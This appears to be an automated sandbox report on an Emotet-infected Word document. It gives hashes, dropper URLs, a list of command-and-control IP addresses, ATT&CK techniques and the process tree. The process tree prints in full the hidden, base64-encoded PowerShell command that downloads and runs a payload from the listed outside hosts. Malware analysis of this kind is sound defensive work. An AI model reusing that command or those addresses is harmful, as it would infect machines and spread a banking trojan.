emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
146s
max time network
168s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-15_155202.doc
Size

245KB
MD5

b3cbfa0ce93224e546a562b7be79021f
SHA1

f6a8648a488b0ebf72579855b0b8d598ce5f5ecc
SHA256

b06c8a5318a6ff9273d6976f93157bb030a9cc13254142b8b52aa80bcd94d54a
SHA512

8c531b3fdaf50bc08fe0a0d68c1072d746a95126ef0c95388eb316682a4ecc4c164eb509e76f7043cc95226350ce528e51f6449ae2727c19bbcf52c8c99ba665

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://180130030.tbmyoweb.com/honpawk24jdsa/5u0fj-qhb1-474383/

exe.dropper

http://btrendy.in/wp-admin/CzSjlZepn/

exe.dropper

http://buwpcsdb.podcastwebsites.com/cgi-bin/TNkruNAc/

exe.dropper

http://36lian.com/42142/13xj532xpk-spit-84585131/

exe.dropper

http://boomgo.xyz/wp-includes/rbhwt3o4y-793e-76150/

Extracted

Family

emotet

177.103.240.93:80

197.94.32.129:8080

58.92.179.55:443

124.150.175.133:80

143.95.101.72:8080

91.205.173.150:8080

69.30.205.162:7080

125.209.114.180:443

78.210.132.35:80

112.186.195.176:80

183.87.40.21:8080

91.83.93.103:443

66.229.161.86:443

114.179.127.48:80

41.77.74.214:443

122.19.63.27:80

50.116.78.109:8080

200.82.88.254:80

42.51.192.231:8080

160.119.153.20:80

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 6 IoCs

Processes:

zapdeploy.exe770.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	zapdeploy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	zapdeploy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	zapdeploy.exe
File renamed	C:\Users\Admin\770.exe => C:\Windows\SysWOW64\zapdeploy.exe	770.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	zapdeploy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	zapdeploy.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

WINWORD.EXE770.exe770.exezapdeploy.exezapdeploy.exe

pid	process
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
3116	WINWORD.EXE
356	770.exe
1128	770.exe
1432	zapdeploy.exe
1572	zapdeploy.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3116 WINWORD.EXE
3116 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

Powershell.exezapdeploy.exe

pid	process
3664	Powershell.exe
3664	Powershell.exe
3664	Powershell.exe
3664	Powershell.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe
1572	zapdeploy.exe

Blacklisted process makes network request 4 IoCs

Processes:

Powershell.exe

flow pid process

22 3664 Powershell.exe
24 3664 Powershell.exe
26 3664 Powershell.exe
28 3664 Powershell.exe
Executes dropped EXE 4 IoCs

Processes:

770.exe770.exezapdeploy.exezapdeploy.exe

pid process

356 770.exe
1128 770.exe
1432 zapdeploy.exe
1572 zapdeploy.exe

flow	pid	process
22	3664	Powershell.exe
24	3664	Powershell.exe
26	3664	Powershell.exe
28	3664	Powershell.exe

pid	process
356	770.exe
1128	770.exe
1432	zapdeploy.exe
1572	zapdeploy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3664	3792	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3664 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3664	Powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

Powershell.exe770.exezapdeploy.exe

description	pid	process	target process
PID 3664 wrote to memory of 356	3664	Powershell.exe	770.exe
PID 3664 wrote to memory of 356	3664	Powershell.exe	770.exe
PID 3664 wrote to memory of 356	3664	Powershell.exe	770.exe
PID 356 wrote to memory of 1128	356	770.exe	770.exe
PID 356 wrote to memory of 1128	356	770.exe	770.exe
PID 356 wrote to memory of 1128	356	770.exe	770.exe
PID 1432 wrote to memory of 1572	1432	zapdeploy.exe	zapdeploy.exe
PID 1432 wrote to memory of 1572	1432	zapdeploy.exe	zapdeploy.exe
PID 1432 wrote to memory of 1572	1432	zapdeploy.exe	zapdeploy.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-15_155202.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3116

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABVAG8AdwBnAGcAYgB3AGIAaQBhAG0AYgBnAD0AJwBCAHcAdAB2AGYAeAB3AHAAaABlAHIAaAAnADsAJABJAG4AYgByAGUAdgBuAGkAagAgAD0AIAAnADcANwAwACcAOwAkAEgAdABrAHgAYwBrAGMAYwBkAHkAPQAnAEsAZwB2AGwAdgBnAGoAdAByAG8AbgAnADsAJABDAGsAdgB4AHoAegBpAGoAYQBhAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEkAbgBiAHIAZQB2AG4AaQBqACsAJwAuAGUAeABlACcAOwAkAFkAegBvAGMAbwB0AGMAbwA9ACcAVAByAGkAaQBrAHkAdABxAHcAYQBoAG0AJwA7ACQAVgByAGwAZgBnAG0AawBrAG0AeABhAGIAdQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAEwAaQBlAE4AdAA7ACQAUQBwAG0AYgBpAHUAYQBlAGQAPQAnAGgAdAB0AHAAOgAvAC8AMQA4ADAAMQAzADAAMAAzADAALgB0AGIAbQB5AG8AdwBlAGIALgBjAG8AbQAvAGgAbwBuAHAAYQB3AGsAMgA0AGoAZABzAGEALwA1AHUAMABmAGoALQBxAGgAYgAxAC0ANAA3ADQAMwA4ADMALwAqAGgAdAB0AHAAOgAvAC8AYgB0AHIAZQBuAGQAeQAuAGkAbgAvAHcAcAAtAGEAZABtAGkAbgAvAEMAegBTAGoAbABaAGUAcABuAC8AKgBoAHQAdABwADoALwAvAGIAdQB3AHAAYwBzAGQAYgAuAHAAbwBkAGMAYQBzAHQAdwBlAGIAcwBpAHQAZQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AVABOAGsAcgB1AE4AQQBjAC8AKgBoAHQAdABwADoALwAvADMANgBsAGkAYQBuAC4AYwBvAG0ALwA0ADIAMQA0ADIALwAxADMAeABqADUAMwAyAHgAcABrAC0AcwBwAGkAdAAtADgANAA1ADgANQAxADMAMQAvACoAaAB0AHQAcAA6AC8ALwBiAG8AbwBtAGcAbwAuAHgAeQB6AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcgBiAGgAdwB0ADMAbwA0AHkALQA3ADkAMwBlAC0ANwA2ADEANQAwAC8AJwAuACIAcwBwAGAATABJAHQAIgAoACcAKgAnACkAOwAkAFMAdwBiAGsAdABzAHQAZgBwAHcAPQAnAE8AegBvAGYAYwBhAGwAbgBjAHUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AcAB2AHEAcgB0AHoAeQBpACAAaQBuACAAJABRAHAAbQBiAGkAdQBhAGUAZAApAHsAdAByAHkAewAkAFYAcgBsAGYAZwBtAGsAawBtAHgAYQBiAHUALgAiAGQATwBgAHcATgBsAGAATwBBAEQARgBpAGwARQAiACgAJABPAHAAdgBxAHIAdAB6AHkAaQAsACAAJABDAGsAdgB4AHoAegBpAGoAYQBhAHIAKQA7ACQAWgB1AHgAeAByAHUAdABsAHAAYwBqAHMAcwA9ACcARwB5AG4AYgBtAGUAeQBrAHQAYwByAHkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABDAGsAdgB4AHoAegBpAGoAYQBhAHIAKQAuACIATABgAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADIANQA1ADUAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAdAAiACgAJABDAGsAdgB4AHoAegBpAGoAYQBhAHIAKQA7ACQASgB5AGoAZABsAHkAdgB2AG8AdgBkAHMAPQAnAFEAdgBtAGsAZgBlAG8AcABzAGEAJwA7AGIAcgBlAGEAawA7ACQASwBkAHYAegB2AGwAawB1AD0AJwBKAG8AZwB3AGsAZAB5AGYAagBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAZwBlAG8AYgB3AGcAdQBnAGoAawBqAG8APQAnAE8AYQByAGkAYgB1AGcAbQAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664

C:\Users\Admin\770.exe
"C:\Users\Admin\770.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:356

C:\Users\Admin\770.exe
--8ec97dce
3⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1128

C:\Windows\SysWOW64\zapdeploy.exe
"C:\Windows\SysWOW64\zapdeploy.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\SysWOW64\zapdeploy.exe
--f82345c6
2⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\449a5ba9e21414c58408e9789cf95501_443e833c-4f92-4bad-9e5e-eec62c6f043e

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C:\Users\Admin\770.exe

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C:\Users\Admin\770.exe

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C:\Users\Admin\770.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-638615289-2068236702-2426684043-1000\0f5007522459c86e95ffcc62f32308f1_443e833c-4f92-4bad-9e5e-eec62c6f043e

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C:\Windows\SysWOW64\zapdeploy.exe

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C:\Windows\SysWOW64\zapdeploy.exe

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memory/356-8-0x0000000000B20000-0x0000000000B37000-memory.dmp

Filesize
92KB

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memory/1128-11-0x0000000002170000-0x0000000002187000-memory.dmp

Filesize
92KB

Download
memory/1432-13-0x0000000000A90000-0x0000000000AA7000-memory.dmp

Filesize
92KB

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memory/1572-16-0x0000000000A00000-0x0000000000A17000-memory.dmp

Filesize
92KB

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